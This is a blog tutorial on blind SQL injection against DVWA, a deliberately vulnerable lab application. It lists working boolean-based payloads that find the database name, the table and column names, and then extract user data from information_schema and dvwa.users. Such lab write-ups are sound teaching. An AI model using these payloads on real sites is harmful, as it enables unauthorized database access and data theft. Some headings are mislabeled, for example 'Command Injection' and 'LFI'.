So you installed Dam Vulnerable Web Applications, now what to you do. Now join me as I continue my series on Learning about Linux CTF Challenges with DVWA. DVWA (Dam Vulnerable Web Application) is a framework we can use to learn about Linux exploits that we can use in common CTF challenges. In this post I will go through Learning to beat DVWA Blind SQL Injection via the web GUI, and even with Python.
What is Blind SQL Injection?
Identifying a Blind SQL vulnerability can be tricky. For one, you do not get the results of the commands returned in any meaningful way. Therefore the best you can hope for is a positive or negative result. A good example is if you injection code is wrong you get a error, if its right you get nothing or even a time difference in the results.
The steps are pretty basic, if you want a name of a database,
- Try an SQL query to check the number of characters in the database name.
- Try a SQL query to check if the first letter in the database name is an a, or b, or c, etc, etc.
- Keep going until you have all characters of the database name.
The first few results will give you a error but one might not give you any error and you can presume that you have the first letter in the name of the DB. And, then onto the second letter, and third and so on and so forth.
Sounds painful, well it is, especially to do it manually. Automation via scripting is the only way to do it. There are tools like sqlmap but sometimes there are no tools available so we have to build our own. However you should attempt to do it manually against DVWA so you can learn how it all works.
Set-up
Lab Systems
In my previous post I discussed how to set up DVWA inside docker on my black arch system. You should have a running DVWA environment before attempting any of the below.
192.168.1.163 | Docker host running DVWA |
8082 | Port on which DVWA is running |
192.168.1.150 | Windows PC where I am running WSL and Firefox |
DVWA SQL Injection Blind Vulnerabilities
Security Levels
Like the rest of the DVWA challenges, the LFI one comes with 4 security levels.
- Low, it’s a bit compliated and with no automation it will take a long time.
- Medium, very similar to the previous one slightly different approach.
- High, Similar to the preceding two, not too challenging.
- Impossible, what is says.
Required Knowledge for DVWA and Blind SQL injection.
Before we get started there are a few core SQL concepts you need to be aware of or should do some research around. .
- Select Statement
- String manipulation concepts.
- substr
- length
If you are not familiar with it then head on over to my blog post where you can learn the basics specific for MySQL in CTF Challenges.
Expected Results
If you followed along in my previous post on DVWA and SQL Injections you will notice that this has a similar exploit entry points. However the results are not printed back onto the page. There is only “User ID exists in the database” or “User ID is MISSING from the database“. We will take those two statement to mean “Positive” for the former and “Negative” for the later. So if we enter a SQL statement that works it will be “Positive” and if it doesn’t work it will be “Negative”
Beating DVWA Command Injection on Low Security
Testing for Vulnerabilities
Login to DVWA, make sure the security is set to low and proceed to the SQL Injection (Blind) page.
So very similar to the “SQL Injection Page” but if we type in “1” into the form box then and hit Submit.
And if we input a ridiculous number.
In order to check for a SQL vulnerability we need a positive result after we put in our query. So we can Use “User ID is MISSING from the database” as a False result and “User ID exists in the Database” as a positive one. We can try to input our test code. In this case it will be “1′ or 1=1 — -“
So we got a positive result from our test and this confirms that the form is vulnerable to Blind SQL Injection.
Beating DVWA Command Injection on Medium Security
Login to DVWA, make sure the security is set to “Medium” and proceed to the SQL Injection (Blind) page.
Testing for Vulnerabilities
On this page you no longer have a from to fill out. Here all you have is a drop down list and you can selected a pre-existing number.
There is only the choice of between 1-5 and once one is selected and the “Submit” button is pressed the result is like first one.
Code Review
To view more information about whats going on here, right click the page and select “Inspect”. In the inspect window select Network. Then update the “User ID” to be 1 and click submit. In the networks window you will find that this was a POST request and highlighting it opens a new window and in the Request tab, it will have the data that is sent via a POST request to the page. In this case its “id:2″ and Submit:”Submit”.
Firefox offers a way to modify this and resend it. If you right click the POST request you will be presented with a menu. Click on “Edit and Resend”
This presents a new tab called “New Request” and this new request can be modified. In particular we can Modify the Request Body with our SQL Injection code. In the “Request Body” box I will replace “id=2&Submit=Submit” with my sql test injection code “id=2 or 1=1 — -&Submit=Submit”. After this hit the “Send” button.
Unfortunately Firefox does not update the open window. After you click “Send” you will be back on the “Network Inspect” screen and the page you just updated will be highlighted. Right click this page and select “Open in New Tab”
In the tab that just opened we can see that our SQL injection is working.
Beating DVWA Command Injection on High Security
After the security settings are set to high and we browse back to the SQL Injection (Blind) page we can notice that things have changed again. There is no drop down list this time. Only a Link, that if we click it, then a new page appears.
Testing for Vulnerabilities
Although different it doesn’t make it any harder to inject our commands. So by just typing the same injection as the “low” security one, does the trick and can confirm our entry point for SQL injection.
And success, we have identified the Vulnerability.
Blind SQL Enumeration of DVWA
So now we have identified our entry points we need to Enumerate the database to get more information from it. Tools like “sqlmap” are great for this but are we really learning anything. Enumeration of Blind SQL is a very slow process to do manually. Therefore, I will just do one part manually and explain the rest.
Steps for Enumeration
Enumeration of blind SQL is done one step at a time. I have outlined the basics below which we will follow as part of the Enumeration process. .
- Database name,
- Get the number Characters in the Database name,
- Get the Database name one character at a time,
- Table Name,
- Get the number of Tables in the Database,
- Going one by one for each Table,
- Get the number of Characters in each Table name,
- Get the Table name one character at a time,
- Name of the Table Columns,
- Get the number of Columns in each Table,
- For each Table Column,
- Get the number of characters in each Column name,
- Get the Column name one character at a time,
- Data from the Table Columns,
- Get the length of the Data,
- Get the Data one character at a time,
Enumerate MySQL Database name via Blind SQL
There are some steps to complete
- Get the number Characters in the Database name,
- Get the Database name one character at a time,
- Finally, the Database name,
As i already mentioned, blind SQL done manually is a slow process. We have to do it one letter at a time. When doing it one letter at a time its better to know how many letters you are dealing with. In order to determine how many letters are in the database name we must first identify a command that can do this and then compare the output to 1, 2, 3, 4… until we get the number.
The code we can inject for this is below. This can be injected into any of the access points we found in “low”, “medium” or “high” security level. For this I will stick to the low security level.
1' and length(substr((select database()),1)) = 1 -- -
And this fails. Continue to try with 2, 3 and 4
1' and length(substr((select database()),1)) = 4 -- -
So 4 works. The database has 4 letters in its name. I told you it was painful.
Breakdown
Lets break down the command and see what it is doing.
1' and length(substr((select database()),1)) = 4 -- -
Working from the inside out we can examine each part.
- select database – Shows the name of the database.
- substr((select database()),1) – substr extracts a substring from a string. In this case it extracts the full database name.
- length(substr((select database()),1)) – gets the number of characters in the sub string.
- 1′ and – injects another condition to the already successful SQL.
Now we have the amount of letters in the Database name it makes getting the name a little (not a lot) easier. Like the above method we need to check letter by letter to find out what the name is. For example, we can use the sql substr command to pull out the first letter of the name and try to get a positive outcome while trying a, b, c, d….. Once we identify the first letter we do the same with the next one.
So how do you get the first letter of a Database Name? It can be done with the substr command. The substr command takes a number of options, The String, The number in the string where the letter you want sits and how many letters you want after the letter you first wanted. Lets do some examples.
select database(); - This shows the database name
select substring((select database()),1); - Shows the database name but from with a substr command.
select substring((select database()),1,1); - Shows the first letter of the database name
select substring((select database()),2,1); - Shows the second letter of the database name.
Lets see these commands in action.
In order to get the Database name we need to try all the letters one at a time until we have the full name. Earlier we identified that there are 4 letters in the name. So the injections commands would be like the ones below.
1' and substring((select database()),1,1) = 'a' -- -
1' and substring((select database()),1,1) = 'b' -- -
1' and substring((select database()),1,1) = 'c' -- -
1' and substring((select database()),1,1) = 'd' -- -
When you get to ‘d’ you should see a positive result in the page.
Then onto the second letter.
1' and substring((select database()),2,1) = 'a' -- -
.
.
1' and substring((select database()),2,1) = 'v' -- -
Again with ‘v’ you should see a positive reply. Do this until you have all 4 letters in the database name.
Enumerate MySQL Table Names via Blind SQL
Getting the table names is a little more complicated, steps are below,
- Table Name,
- Get the number of Tables in the Database,
- Going one by one for each Table,
- Get the number of Characters in each Table name,
- Get the Table name one character at a time,
- Get the number of Tables in the Database,
You need to be aware of the default table inside mysql called “information_schema. This database is vital for enumeration as it has all data we need to begin with.
MySQL information_schema Database
This table holds all information about other tables and we can use the same trick as above, 1 letter/number at a time, to get the table information. So to get the number of tables in the database dvwa the code would look like.
1' and substr((select count(*) from information_schema.tables where table_schema='dvwa'),1) = '1' -- -
1' and substr((select count(*) from information_schema.tables where table_schema='dvwa'),1) = '2' -- -
On the second one you would get a Positive result as there are two tables in the database. Now we know there are two tables we can start to get the name of the first table.
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1),1,1) = 'a' -- -
.
.
.
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1),1,1) = 'g' -- -
When we get to ‘g’ we get a positive result. Let keep going with the second letter in the table name.
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1),2,1) = 'a' -- -
.
.
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1),2,1) = 'u' -- -
This gets us the second letter of the table name. And if we keep going like this eventually you get the table name “guestbook” for the first table and for the second table we enumerate almost the same way. The LIMIT option is modified to only show the second result which after enumeration shows us a table called “users”.
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,2),1,1) = 'u' -- -
Column Name Enumeration via Blind SQL
The last piece of the puzzle here is the Column Names. Following the same technique as the previous ones can be used. Letter by letter to build up a list of column names. The below code can be used to enumerate the columns for the table “users”
To identify the Number of Columns in table
1' and substr((select count(*) from information_schema.columns where table_schema='dvwa' and table_name = 'users'),1) = 1 -- -
.
.
1' and substr((select count(*) from information_schema.columns where table_schema='dvwa' and table_name = 'users'),1) = 8 -- -
This results in finding 8 columns in the ‘users’ table. And so to find the number of Letters in the First Column Name, you can use the below code.
1' and length(substr((select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' limit 1),1)) = '1' -- -
.
.
1' and length(substr((select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' limit 1),1)) = '7' -- -
There are 7 characters in the name of the first column in the table users.
And Finally the Names of the columns
1' and substr((select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' limit 1),1,1) = 'a' -- -
.
.
1' and substr((select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' limit 1),1,1) = 'u' -- -
You can continue this until you reach the column name “users”. Then you can start to work on the second, third, forth… column names until you have completed them all. You can go through each additional column name by just altering the “limit” options.
limit 1 #Returns the first column.
limit 2,1 #Returns the second column.
limit 3,1 #Returns the third column.
Below is an injection example of working on the third column and checking if ‘u’ was the second character in its name, would be below.
1' and substr((select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' limit 3, 1),2,1) = 'u' -- -
Data Enumeration via Blind SQL
So you have the database name, dvwa, and the table name, ‘users’ and the column name ‘user’. Now how to you get the data in the rows? I’m afraid it’s more of the same as above.
- Identify how many rows of data there is,
- Find the number of characters in the data set,
- Try all the Capital characters types against each one in the data.
- Small letters,
- Digits,
- Non ascii characters
Starting at 1, we can Identify how many rows of data there are with the following code. Incrementing by one each time until we have a “Positive” result.
1' and substr((select count(user) from dvwa.users),1) = '1' -- -
.
.
1' and substr((select count(user) from dvwa.users),1) = '5' -- -
There are 5 rows of data. And now to identify the length of the second row, where you are testing the number in bold against the amount of characters in the data.
1' and length(substr((select user from dvwa.users limit 2,1),1)) = '1'-- -
.
.
1' and length(substr((select user from dvwa.users limit 2,1),1)) = '4'-- -
And now we have identified the length of the data is 4 characters long. And finally onto the data itself. The below example works to identify the 3 character is on the second row. But, you can change and modify it to work on all rows and columns to enumerate data anywhere in the database as long as you have,
- Database name,
- Table Name,
- Column Name,
- Length of the data,
- Prove that there is data to enumerate,
1' and substr((select user from dvwa.users limit 2,1),3,1) = 'a' -- -
And continue to enumerate all letters, digits and non ascii characters until you find all four characters.
Automation
This is a very long and laborious effort that is required to do this manually. But if you want to learn, then you have to do it manually for the “DVWA” database. Its not that big and most data fields are short.
Your next step, after you have a good understanding, would be to automate the whole process with shell scripts, curl or python. Although there are various tools available to do this already you will learn very little by using them. I might even do a write up on that in the near future.
Wrap Up
There is a lot of rinse and repeat with Blind SQL, but once you find they entry point and can determine a “True” or “False” with your injection code. You can, through trial and error, make progress. Over on my github page I am working on a python script to do Blind SQL automatically for DVWA and I find it a great way to deep dive into the workings of Blind SQL.
Be First to Comment